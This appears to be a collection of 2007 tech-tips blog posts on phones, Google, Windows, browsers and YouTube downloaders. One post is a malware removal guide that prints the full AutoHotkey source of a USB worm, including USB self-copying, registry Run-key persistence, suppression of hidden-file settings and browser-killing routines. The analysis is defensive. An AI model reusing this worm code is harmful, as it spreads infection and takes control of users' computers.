Internet tips and tricks

Facts about NOKIA

2007-06-18T11:10:00.000-07:00

Here are some facts of our beloved phone company "NOKIA"

1) The ringtone "Nokia tune" is actually based on a 19th century guitar work named "Gran Vals" by Spanish musician Francisco Tárrega. The Nokia Tune was originally named "Grande Valse" on Nokia phones but was changed to "Nokia Tune" around 1998 when it became so well known that people referred to it as the "Nokia Tune."

2) The world's first commercial GSM call was made in 1991 in Helsinki over a Nokia-supplied network, by Prime Minister of Finland Harri Holkeri, using a Nokia phone.

3) Nokia is currently the world's largest digital camera manufacturer, as the sales of its camera-equipped mobile phones have exceeded those of any conventional camera manufacturer.

4) The "Special" tone available to users of Nokia phones when receiving SMS (text messages) is actually Morse code for "SMS". Similarly, the "Ascending" SMS tone is Morse code for "Connecting People," Nokia's slogan. The "Standard" SMS tone is Morse code for "M" (Message).

5) The Nokia corporate font (typeface) is the AgfaMonotype Nokia Sans font, originally designed by Eric Spiekermann. Its mobile phone User's Guides Nokia mostly used the Agfa Rotis Sans font.

6) In Asia, the digit 4 never appears in any Nokia handset model number, because 4 is considered unlucky in many parts of Southeast/East Asia.

7) Nokia was listed as the 20th most admirable company worldwide in Fortune's list of 2006 (1st in network communications, 4th non-US company).

8. Unlike other modern day handsets, Nokia phones do not automatically start the call timer when the call is connected, but start it when the call is initiated. (Except for Series 60 based handsets like the Nokia 6600)

9) Nokia is sometimes called aikon (Nokia backwards) by non-Nokia mobile phone users and by mobile software developers, because "aikon" is used in various SDK software packages, including Nokia's own Symbian S60 SDK.

10) The name of the town of Nokia originated from the river which flowed through the town. The river itself, Nokianvirta, was named after the old Finnish word originally meaning sable, later pine marten. A species of this small, black-furred predatory animal was once found in the region, but it is now extinct

language converter

2007-06-11T05:02:00.000-07:00

hi friends, when i have to chat with my brazilian friends then i always use this converter to convert english into portuguese, i think u all here know that.....but who don't know about this converter then just try it.....it's really awesome.....may b it helps u......
here's the link....

from google---

http://translate.google.com/translate_t

and from altavista ---

http://babelfish.altavista.digital.com/babelfish/tr

i always use altavista's Babel Fish Translation.....it's really useful 2 talk with ur other friends when u don't their language.....

Use Google To Calculate Mathematical Equations

2007-06-11T04:12:00.000-07:00

Google adds in new functions in its search every year. A couple of years ago, it quietly added the ability to calculate mathematical equations right from the search box.

If you enter 25 + 35, Google will return 25 + 35 = 60, along with, of course, an option to search for documents that include the term 25 + 35.
To use Google's built-in calculator function, simply enter the calculation you'd like done into the search box and hit the Enter key or click on the Google Search button. The calculator can solve math problems involving basic arithmetic, more complicated math, units of measure and conversions, and physical constants.
Try one of the sample expressions below, or refer to google complete instructions for help in building your own.
http://www.google.co.in/help/calculator.html

These sample queries demonstrate the utility and power of this new feature:

* 5+2*2
* 2^20
* sqrt(-4)
* half a cup in teaspoons
* 160 pounds * 4000 feet in Calories

Cache

2007-06-10T22:32:00.000-07:00

The cache is where your web browsers stores parts of websites you visit online. The goal is to speed up your web browsing experience by keeping parts of the website stored on your computer in the "cache" as opposed to downloading them again. These means that pages you visit regularly are loaded quicker. Internet Explorer users will know the cache as "Temporary Internet Files."

What Files Are Stored in the Cache?
All types of files related to the websites you visit are stores in the cache. These include image files like JPEG or GIF files. The actual web page HTML file can also be downloaded and stored on your computer.

Why Should I need to Clear the Cache?
There are a couple of issues you need to be aware of. Firstly, the cache takes up space on your hard disk which could impact your computer's performance. Also you may find that it is necessary to re-load a web page to get the most up to date version. However, the biggest issue relates to your privacy.

Your web browser's cache leave a virtual "paper trial" of the websites you visit. A person with access to your web browser's cache could easily figure out which website you visit and see examples of the content which could potentially be very embarrassing!

How to Clear the Cache?
Here are the instruction for the 2 most popular web browsers - FireFox and Internet Explorer.

Internet Explorer - from the main menu bar select Tools>Internet Options. Select "temporary internet files" or "browsing history" (in Internet Explorer 7) and hit the "Delete" button.

FireFox - from the main menu bar select Tools>Internet Options>Privacy. The go the "Private Data" section, select "settings" and make sure "cache" is selected. You can then click the "Clear Now" button to clean the cache. In newer version there is a short cut key so you can clear your cache without having to navigate through the menu options.

Is there an Easier Way to Clear the Cache?

The cache is not the only set of files that your computer collects which can cause serious privacy issues. Your browser for example stores a history of the URLs you visit. The Windows operating system also stores a list of files you recently accessed including media files like videos which you download.

Thankfully there are a number of good software products which help you clear out all of these files. This a critical part of protecting your privacy and helps boost your computer's performance.
Try a free scan and see what potential privacy risks are lurking on your computer

Powering on the Computer With Your Mouse

2007-06-10T22:17:00.000-07:00

If you have ATX Main Board, ATX case Award Bios, or any Bios that supports PS/2 Mouse Power On, then you can power on your computer with a double click.

To activate this feature:

1-Restart your computer
2-Then press Del when the BIOS message appears to enter your CMOS configuration
3-Select Integrated Peripherals from main menu
4-If PS/2 mouse power on disabled, activate it by press page up/ page down key it will became Double-Click
5-Press Esc key to exit
6-Press F10 to save and exit Power off your PC
7-Now double-click the left mouse button,.. Your PC will turn on

Windows Vista

2007-06-10T21:38:00.001-07:00

It has been confirmed that Microsoft's next generation operating system "Windows Vista" will be available in stores from January 2007. Microsoft has been working hard past few years for this release and I believe this version of Windows is worth buying.

Windows Vista Editions
Unlike Windows XP, Vista comes in 6 different versions and each of them is different in its features and price. Obviously you will be at confusion while choosing from the different versions.

1]
Windows Vista Starter Edition
This version is the stripped down version of the basic home edition. This means it has the lowest feature set and security. It is more like a demo for all other editions of Vista. This version is only available in emerging regions like India, Russia, Mexico, Indonesia & Thailand.

2]
Windows Vista Home Basic Edition
This is more like Windows XP Home Edition. Just the enough features for casual Internet browsing and entertainment. This edition does not have the important features like Aero UI & Windows media technologies.

3]
Windoes Vista Home Premium Edition
This is more similar to Windows XP media centre edition. It has all the important features required for normal Home entertainment PC. This edition comes with Aero UI, Scheduled back up feature & premium games. Thus if you are addicted to XP media center edition, this is the vista equivalent for you.

4]
Vista Business Edition
Business Edition of Windows Vista is equivalent to XP Professional Edition. It has all the features of Home Premium Edition except parental control and has some additional feature for faxing & scanning. This also has shadow copy - system back up & recovery service to keep your data safe. If you are a XP Pro fan like me, this is the right version to look forward.

5]
Vista Enterprise Edition
From the name itself, it should be clear that it is for big enterprises where data protection is important. The major difference between Vista Business and Enterprise is the added data encryption & security features. You only need to buy this version if you are running a business and need more security for your data.

6]
Vista Ultimate Edition
If you have all the designed features of Windows vista in one package, you call it Windows Vista Ultimate. It has all the features of Home Premium and Business Enterprise Editions. Unfortunately, I'm yet to learn the prospects of this edition.

Thus if you are an avid gamer, movie enthusiast or an audiophile, Home Premium is the best choice. If you just need a PC for emailing and document processing, Vista Home Basic is your edition. For small businesses, I would recommend Vista Business Edition.

Windows Vista System Requirements
Home Basic Windows Vista

* 1 GHz 32-bit (x86) or 64-bit (x64) processor
* 512 MB of system memory
* 20 GB hard drive with at least 15 GB of available space
* Support for DirectX 9 graphics and 32 MB of graphics memory
* DVD-ROM drive
* Audio Output
* Internet access (fees may apply)

Additional Requirements

Actual requirements and product functionality may vary based on your system configuration. Windows Vista Upgrade Advisor can help you determine which features and edition of Windows Vista will run on your computer.

While all editions of Windows Vista can support multiple core CPUs, only Windows Vista Business, Ultimate, and Enterprise can support dual processors.

Home Premium / Business / Ultimate Windows Vista

* 1 GHz 32-bit (x86) or 64-bit (x64) processor
* 1 GB of system memory
* 40 GB hard drive with at least 15 GB of available space
* Support for DirectX 9 graphics with:
o WDDM Driver
o 128 MB of graphics memory (minimum)
o Pixel Shader 2.0 in hardware
o 32 bits per pixel
* DVD-ROM drive
* Audio Output
* Internet access (fees may apply)

Additional Requirements

Actual requirements and product functionality may vary based on your system configuration. Windows Vista Upgrade Advisor can help you determine which features and edition of Windows Vista will run on your computer.

While all editions of Windows Vista can support multiple core CPUs, only Windows Vista Business, Ultimate, and Enterprise can support dual processors.
Home Premium / Ultimate

What is "Google"?

2007-06-10T21:29:00.000-07:00

Definition: Googol

Pronunciation: 'gü-"gol
Function: noun

Google is a play on the word googol, which was coined by Milton Sirotta, nephew of American mathematician Edward Kasner, and was popularized in the book, "Mathematics and the Imagination" by Kasner and James Newman. It refers to the number represented by the numeral 1 followed by 100 zeros. Google's use of the term reflects the company's mission to organize the immense, seemingly infinite amount of information available on the web.

Originally called "Backrub", the logic behind the Google search engine was develop by graduate students Larry Page and Sergey Brin at Stanford University in 1995. Their first place of business was literally a garage. The garage location was chosen because it had a washer/dryer and a hot tub out back, they were already serving 10,000 searches a day.

try this link--
http://www.google.com/corporate/history.html

So How Does Google Work?
* Crawls and indexes web pages et al.
* Stores copies of web pages and graphics on their caching servers
* Presents users with simple front end to query the database of cached pages
* Returns search results in a ordered fashion based upon relevancy

Anatomy of a Search
http://computer.howstuffworks.com/search-engine1.htm
1]
Server Side

2]
Client Side

What Can Google Search?
* Adobe Portable Document Format (pdf)
* Adobe PostScript (ps)
* Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
* Lotus WordPro (lwp)
* MacWrite (mw)
* Microsoft Excel (xls)
* Microsoft PowerPoint (ppt)
* Microsoft Word (doc)
* Microsoft Works (wks, wps, wdb)
* Microsoft Write (wri)
* Rich Text Format (rtf)
* Shockwave Flash (swf)
* Text (ans, txt)

So What Determines Page Relevance and Rating?
* Exact Phrase: are your keywords found as an exact phrase in any pages?
* Adjacency: how close are your keywords to each other?
* Weighting: how many times do the keywords appear in the page?
* PageRank/Links: How many links point to the page? How many links are actually in the page?

Equation: (Exact Phrase Hit)+(AdjacencyFactor)+(Weight) * (PageRank/Links)

How Do I Get Results?
* Pick your keywords carefully & be specific
* Do NOT exceed 10 keywords
* Use Boolean modifiers
* Use advanced operators
* Google ignores some words:

a, about, an, and, are, as, at, be, by, from, how, i, in, is, it, of,

on, or, that, the, this, to, we, what, when, where, which, with

Google's Boolean Modifiers
* AND is always implied.
* OR: Escobar (Narcotics OR Cocaine)
* "-" = NOT: Escobar -Pablo
* "+" = MUST: Escobar +Roberto
* Use quotes for exact phrase matching: "nobody puts baby in a corner"

OR

"there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns, the ones we don't know we don't know."

what is RSS

2007-06-10T21:25:00.000-07:00

RSS is a family of web feed formats, specified in XML and used for Web syndication. RSS is used by (among other things) news websites, weblogs and podcasting. The abbreviation is variously used to refer to the following standards:

* Really Simple Syndication
* Rich Site Summary (RSS 0.91)
* RDF Site Summary (RSS 0.9 and 1.0)
* Real-time Simple Syndication (RSS 2.0)

Web feeds provide web content or summaries of web content together with links to the full versions of the content, and other metadata. RSS in particular, delivers this information as an XML file called an RSS feed, webfeed, RSS stream, or RSS channel. In addition to facilitating syndication, web feeds allow a website's frequent readers to track updates on the site using an aggregator.

File extension: .rss, .xml
MIME type: application/rss+xml
Type of format: Syndication
Extended from: XML

What's Running , Tracks Every Running Process Of Your System

2007-06-01T06:05:00.000-07:00

Are you the kind of person who needs to peer deep into your PC, and know exactly what's running on your system?

Do you want to know about every single process, every single services, view every single IP connection, find out the details of every drivers?and more.
Then you'll love this program.

What's Running is a small 1Mb freeware utility which gives you an in-depth look at processes, services, modules, IP-connections, drivers and more, and start and stop services.

In a simple, tabbed interface, you'll find out all that, and plenty more as well, such as a list of all the programs that run on startup, and a comprehensive listing of your system hardware and software.

The program does more than peer into your system, though.

It also lets you take actions, such as stopping and starting processes and services, and halting unwanted programs from running on startup.

Related Links: Download It, Whatsrunning.net

Foxit Reader Loads PDF Files Much Faster Than Adobe Acrobat

2007-06-01T05:45:00.000-07:00

Adobe reader is a big pain for PDF files.It takes so much time to loads Pdf files and sometimes if Pdf is of larger size, it also causes the system to be hanged up.

For those having a problem with Adobe reader, Foxit Reader is a better solutuion.It is light on system resources and also loads the Pdf files much faster than Adobe.

Foxit Reader 2.0 is a free PDF document viewer and printer, with incredible small size (only 1.5 M download size), breezing-fast launch speed and amazingly rich feature set. Foxit Reader 2.0 supports Windows 98/Me/2000/XP/2003. Its core function is compatible with PDF Standard 1.6.

The following is a list of compelling advantages of Foxit Reader 2.0:

Incredibly small: The download size of Foxit Reader is only 1.5 M which is a fraction of Acrobat Reader 20 M size.
Breezing-fast: When you run Foxit Reader, it launches instantly without any delay.
Annotation tool: Have you ever wished to annotate a PDF document when you are reading it? Foxit Reader 2.0 allows you to draw graphics, highlight text, type text and make notes on a PDF document and then print out or save the annotated document.
Text converter: You may convert the whole PDF document into a simple text file.

Image Search Engine Optimization - Google Image SEO

2007-06-01T03:25:00.000-07:00

Image Search Engine Optimization

Search Engine Optimization is very important after we are finished with our website. SEO helps our website to be better indexed by the search engine. Most of the time we concentrate on the content of the website for optimization and completely ignore Images which are also an important part. In this article we learn how to optimize a website for Image Search Engines like Google Image Search.

Let’s see how to do it. Selecting a good filename for the image is a good SEO practice. Select a name that suits the content of the website. For eg never choose a filename for the image like ~~image1.gif, image2.gif etc~~ instead use the name as (image-seo.gif) site-content.gif . This makes the image make more sense for the search engine bots. Donot use white space inbetween the two words of file name i.e. image seo.gif as this converts as image%20seo.gif.

Using the alt attribute tag is also very important. Alt attribute was originally developed to display alternate to the image i.e if the image doesn’t load on the browser the alt text loads explaining what image was supposed to be there. We can use the alt attribute for our advantage as we use it for our seo. The Alt attribute is the best place to hide your typos. (Typos are nothing but spelling mistake of the words that usually people make while searching). You also put some keywords into the alt attribute. Again never overstuff your keywords as it may do more harm.

That is it we are done. There are just two steps in this article that can give amazing results.

Can't Login in Orkut or Youtube

2007-06-01T01:56:00.000-07:00

hi friends.....i heard most of times this problem from my friends, they say " i cant access orkut on my system. after typing the URL, browser is getting closed and a dialog box with the following message "Orkut is banned you fool,The administrators didnt write this programe guess who did??
MUHAHAHA!!" Is appearing with a laughing sound."
what's this...and how can we removed this virus or worm......

so that here is the Full description of this malware.........

About this malware:
this is a new malware( and a funny one- i think some activist
programmed it ) which blocks the user from accessing youtube or
orkut......
it gives the alert "orkut\youtube is banned you fool" and closes the
window immediately,......
it also blocks the user from opening Firefox......
it gives the alert "use IE you dope" and closes the Firefox
window.....
it also plays a .wav file (which sounds as "muhahaha!!)
whenever the alerts pop-up.....

How to Remove:
Download first hijakthis from Trend Micro
Just Run it .. And it will display lots of processes which are running
in you system look for entries like this
1. heap41a\svchost.exe
2. heap41a\std.txt
Delete These entries ...
If you delete other svchost.exe the windows warning will be seen
and it will restart your system only........
After That Just Use search to search for "heap" tick
the hidden and system folder option then you will be able to see
a hidden folder named heap41a delete it.... If it says access denied
the download and install and use Unlocker.

from where this malware comes:
1]
from unwanted sites and ur removalble disk
2]
this malware jumps into your flash drive when plugged into infected.....
system and hides itself disguised as a folder......

I have PE Tools installed in my PC i ran to find out the running process. I went through all the process and found out that svchost.exe was the one responsible for it. Where PE tools helped me was, svchost.exe was running from a location C:\heap41a . So this is where the worm resides, hmm interesting now deleting the folder would do our task. But it was not so easy, as I terminated this process svchost.exe from the process list it would start again. So I had to boot my XP in safe mode. Why in safe mode is because in safe mode windows loads only the minimum required drivers and doesn’t load any user process, so this means the worm is not started with the windows. Now I searched the folder C:\heap41b but it was hidden. I went to Tools>folder option and select Show all files and folders and pressed ok. I refreshed the c:\ only to find that it won’t show any hidden folders. I again went to the Tools>folder and found the setting of Show all files and folders was reseted. Now how do I see the content, what I did was went to windows search and in advanced option I gave search hidden files and folders and gave svchost.exe as the search keyword. Bang it searched it, so I opened the folder to find out this file was not alone, the other files in this Folder were [offspring], 2.mp3, Icon.ico, reproduce.txt, svchost.exe, drivelist.txt, script1.txt, std.txt . Lets see the content of these text file.

[offspring] - Blank Folder

2.mp3 - A laughing sound

Icon.ico - A blank Icon file

reproduce.txt

#notrayicon
#persistent
ArrayCount = 0
Loop, Read,C:\heap41a\driveList.txt
{
ArrayCount += 1
Array%ArrayCount% := A_LoopReadLine
}
dat1=%userprofile%
settimer,reproduce,5000
return

reproduce:

Loop %ArrayCount%
{

element := Array%A_Index%
driveget,data,Type,%element%:\
ifequal,data,Removable
{
driveget,data1,status,%element%:\
ifequal,data1,Ready
{
FileCopydir,C:\heap41a\offspring,%element%:\,1

}

}
}
regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,C:\heap41a\svchost.exe C:\heap41a\std.txt
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run,winlogon,C:\heap41a\svchost.exe C:\heap41a\std.txt
return

svchost.exe

This is the file that is the culprit. The file responsible for all the annoying pop ups

script1.txt

#persistent
#notrayicon
settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
ifinstring,ed,orkut
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,youtube
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,Mozilla Firefox
{
winclose %ed%
msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA BUT USE IE `r OR ELSE…,30
return
}
ifwinactive ahk_class IEFrame
{

ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}

}
return

std.txt

#notrayicon
#singleinstance,ignore
regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,2
regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2
Run C:\heap41a\svchost.exe C:\heap41a\script1.txt
Run C:\heap41a\svchost.exe C:\heap41a\reproduce.txt

These files gave away all that this worm does, after reading the script I found out that this worm also hates Youtube lol.. Most important information it gave was the Registery Keys it modified.

These are the keys that were responsible for the hidden folder problem I faced earlier

regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,2
regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\

Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2

Now to rectify this go to Start Menu>Run and type regedit . In the Registry Editor browse to this entry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL and in the “Checked all” key reset it back to 1 from 2. Now you can change the settings in the folders option. Now delete the folder C:\heap41a and clear all the key entries from this registry entry HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run which says heap41a.

Now the virus infection is removed 100%. Before you are done make sure you format the usb drive it doesn’t infect other systems too.

Download YouTube Videos

2007-05-23T02:21:00.000-07:00

Google has a solid amount of cash in its pockets, but with all the recent lawsuits against YouTube one has to wonder if it’s time to salvage whatever videos you like from the service and save them somewhere where evil attorneys won’t look – your hard drive.

Luckily, there are literally dozens of tools for downloading videos from YouTube and/or converting those YouTube videos to some format other than .flv. It’s hard to pick the best one, as they all have pluses and minuses. Thus, we’ve chosen 23 YouTube downloader tools we’ve found to be actually working. Here they are, categorized according to the platform they work on:

Web based

1. YouTubeX doesn’t have a lot of options, but it’s simple, and it works. It also enables you to share the YouTube video with your friends via e-mail. Unfortunately, all the files are called get_video, and you have to add the .flv extension manually.

www.youtubex.com

2. KeepVid is another simple site. No hassle, works not only for YouTube movies but for a number of other sites, including Google Video, MySpace Video, DailyMotion and others. Again, you have to add the .flv extension by hand.

keepvid.com

3. VideoDownloader is very similar to KeepVid, but supports even more video sharing sites, and it’s also available as a Firefox extension. Just like with KeepVid, all downloads are in .flv format. We recommend MediaCoder for free conversion.

javimoya.com/blog/youtube_en.php

4. YouTube Downloads takes the cake in the longest domain name contest. It also separates itself by using a proxy for downloading videos, which means that you might be able to get videos even if YouTube access is blocked at your workplace or in the country you live. Just search Google for YouTube videos, and copy/paste the URL into YouTube Downloads.

www.downloadandsaveyoutubevideos.info

5. Zamzar is an online file format conversion site which can do a lot more than just converting YouTube videos to another format and downloading them to your hard drive, but it’s doing a great job so we had to include it here. Thoroughly tested by us and highly recommended. See the video of it in action here.

www.zamzar.com

6. YouTubia separates itself from the crowd by enabling you to search as well as download YouTube files. Options are scarce, but it works.

www.youtubia.com

7. VidGrab is another simple site that works with YouTube, Google Video, MySpace and Break.com. Besides the download function, the site also sports a top list of most viewed videos.

www.vidgrab.com

8. Vixy offers both downloading videos and converting them into DivX avi, mov, mp4, 3gp, or mp3 (for audio only) formats. The conversion works well enough, but sometimes results in slightly choppy playback.

vixy.net

9. Hey! Watch is an ambitious video encoding service with a large number of options, especially when it comes to converting videos to portable media player formats (it even supports my trusty iRiver H340.) Most online video converters often produce crappy results, with video and audio being out of sync, and this problem is also present on Hey! Watch, but it happens rarely.

heywatch.com

10. Media Converter can be a little slow, but the results of the video conversion are quite good. We’ve converted some YouTube videos to avi (mpeg4 + mp3) format and it worked well. The tool is not limited to video conversion; it also supports several audio and document formats.

www.mediaconverter.org

11. KcoolOnline is a web-based converter which supports 98 video sharing web sites, including YouTube. It has literally zero options, so it’s recommended for those who like to keep it simple.

www.kcoolonline.com

Windows Applications

12. VDownloader is a desktop application that catches YouTube, Google Video, and Grinvi video links from your clipboard. Start it up, copy the video URL and click download. It automatically converts the videos to mpeg or avi formats.

www.softpedia.com/progDownload/VDownloader-Download-51327.html

13. YouTube Grabber downloads files from Youtube in .flv format. Copy and paste the URL of a video from YouTube into the program, press «grab», and the file will be downloaded into the same directory as the program.

www.download.com/Youtube-Grabber/3000-2071_4-10574801.html

14. Orbit Downloader is a desktop application which can download videos from a wide variety of sites. The download process is very simple, just hover your mouse over the video and you’ll get a button that says «Get It». The developers of the program claim that it’s very fast (up to 500% faster, they say) due to its P2P download technology.

www.orbitdownloader.com

15. My Video Downloader. With all these free tools, it’s actually funny to see a commercial one. It’s called My Video Downloader, and while it does look solid and offers a lot of conversion options (a free trial which enables you to download 10 videos is available), we’re not sure it offers enough to warrant a price tag.

myvideodownloader.com

16. KeepV is a desktop downloader as well as a converter, which can convert the downloaded videos from flv to avi, mov, mp4, or 3gp formats.

keepv.com

17. VideoGet boasts being able to download video clips from more than 100 video sharing websites. We haven’t tested all of them, so we’re just going to take their word for it. It’s a deskop application with a nice, simple interface, and a solid number of options.

nuclear-coffee.com/php/products.php

18. TubeSucker is a desktop YouTube video downloader with some interesting options, including batch downloading large amounts of videos from a certain user. See the video tour on the site.

www.newrad.com/software/tubesucker/

OS X

19. Get Tube is an OS X application which lets you download video or audio files from YouTube, DailyMotion and Kewego.

web.mac.com/simonvrel/iWeb/software/v.1.0.html

Linux

20. Youtube-dl. Here’s some love for Linux users. Youtube-dl is a program that lets you download YouTube clips in flv format, which both mplayer and VLC can easily chew up.

www.nuxified.org/blog/download_youtube_video_files_with_youtube_dl

21. YouTube Ripper is not actually an application; it’s a simple script that rips all videos that match a keyword, uploaded by a specific YouTube user. We don’t really have ideas on what to use this for, but maybe you do! PHP port is also available.

nlindblad.org/2007/04/08/youtube-ripper-collectors-edition/

Plugins

22. Vidtaker is a Firefox-only plugin that can download videos from most streaming websites: Google Video, YouTube, MySpace, as well as a number of nasty adult SomethingTube spinoffs (Pornotube, YouPorn etc). It automatically converts the video to a DivX avi.

www.vidtaker.com

23. Ook? Video Ook! Yes, that’s the full name of this Firefox plugin, which enables you to download videos from YouTube and several other video sharing web sites. It features one click downloading and integration with the popular DownThemAll Firefox plugin.

addons.mozilla.org/en-US/firefox/addon/2584

Boot And Run Windows Xp From A Pen Drive

2007-05-23T01:52:00.000-07:00

There are times when a minor error in the Windows Registry or a Virus Infection, can make your system unbootable. In such a condition a properly configured USB drive on hand with Bart Lagerweij's free utility (BartPE), is a handy replacement for windows operating system.

BartPE will give you a complete Win32 environment with network support, a graphical user interface (800x600) and FAT/NTFS/CDFS file systemsupport.

Don't confuse BartPE with Microsoft's Official Windows PE. BartPE has got some interesting features as compared to Windows PE and it's a freeware.

Requirements To Install BartPE :

USB Flash drive with at least 256 MB of storage capacity.
The files from your Windows Installation CD-Rom.

How It Works :

PE Builder, condenses the original setup data for Windows XP into a slender operating system that is ready to run from or a USB flash drive.
This compact, portable version of Windows includes all the important system tools for dealing with a PC emergency.
You can even add other programs to this collection, such as the media writing tool Nero Burning ROM or an anti-spyware package such as Ad-Aware SE Personal, during the installation process.

Steps Involved :

Download the latest PE Builder version (self-installing package) and install it.
Start PE Builder (pebuilder.exe) and insert Microsoft Windows XP installation/setup CD, it will condense the setup files into your pen drive.
At the main PE Builder dialog, select the "Pen Drive" option. Hit the "build" button. PE Builder will now ask you to create a BartPE directory, answer with "yes".
PE Builder will now start building BartPE. This will take a few minutes. You will see a lot of files getting copied and/or decompressed, into your pen drive. If the data verify was correct and there where no errors reported you can boot the Pen Drive.

If you have any problems or questions about PE Builder just post a comment here or look in the links below.

Send Two Sms Free Daily To Any Cell In India

2007-05-23T01:24:00.000-07:00

Atro Chatro is an online service from which you can send two sms daily without any registrations. All cell operators of India are supported here.

You might have heard of sending sms from net earlier but it wont be working either.

Yes you can send sms from rediff n indiatimes but there you need registration and also messenger to send sms. At Atro Chatro you can send hassle free 2sms to anyone in India daily without any registration process or any messenger.

Just log in to the link given below and type the cell number to which you want to send the sms. Write a sms upto 160 characters and click proceed.That’s it, your sms will reach instantly to the receiver .

This service is so easy to use, can prove helpful at times. If you have no balance in your cell and need to contact your loved ones just login to Atro Chatro You can also earn sms credits by sending Atro Chatro to your friends and then you will gain credits from which you can send more free sms.

Atro Chatro is Sms on the move. There's also a preety good sms collection at AtroChatro

Ref: AtroChatro, Send Free Sms Instantly

Microsoft DirectX 9.0 instaling problem

2007-05-17T10:13:00.000-07:00

Are you a gamer? If so, than you need newest DirectX almost all the time. But while instaling some DirectX, you may have some trouble. For instance, while instaling Microsoft DirectX 9.0, and if you are running Microsoft Windows XP, you may see this error message:

DirectX did not copy a required file

And D3dref8.dll file was not coppied on your system.
If you alredy have Dxxpunp.inf file on your computer, that can be one of posible causes. Dxxpunp.inf is a DirectX debug component. Since, Dxxpunp.inf is located in %SystemRoot%\System32\Dxxpdbg folder, you can do the following:

- Goto Start, Run, than type cmd.exe, and click OK.
- Type cd %SystemRoot%\system32\dxxpdbg, and press ENTER.
- Type dxxpunp.exe, and then press ENTER.
- Close the command prompt.

That can be solution for your instaling problem.

Rename photos in Windows XP

2007-05-17T10:09:00.000-07:00

You have a lots of photos in some folder on your computer, all have numbers-names, and you want to name them like Holliday1.jpg, Holliday2.jpg, ... Don't need to do that one by one. You can do that automatically with this little trick.

Open that folder and chose View - Thumbnails

Left click on any picture and CTRL + A. That way you will select all files in that folder.

Right click on first pic and chose "Rename" from drop-down menu.
Windows XP will highlight name of that file and you will be able to name it. After filling the name, click somewhere outside, in white space. You're done. If you named firs file "Anything" all selected files will get names "Anything1", "Anything2", "Anything3", and so on.

Hibernate computer to save time

2007-05-17T09:56:00.000-07:00

Hibernate for faster start

If you turn-down computer when you're not working on it, you will save the energy, but not the time. If you don't want to wait until computer turns on, log on, ... than you can use Hibernate function. However, you can't "sleep" all computer like that. Windows 9x with Fat32, for example, can't hibernate.

How you can tell if your system can hibernate?

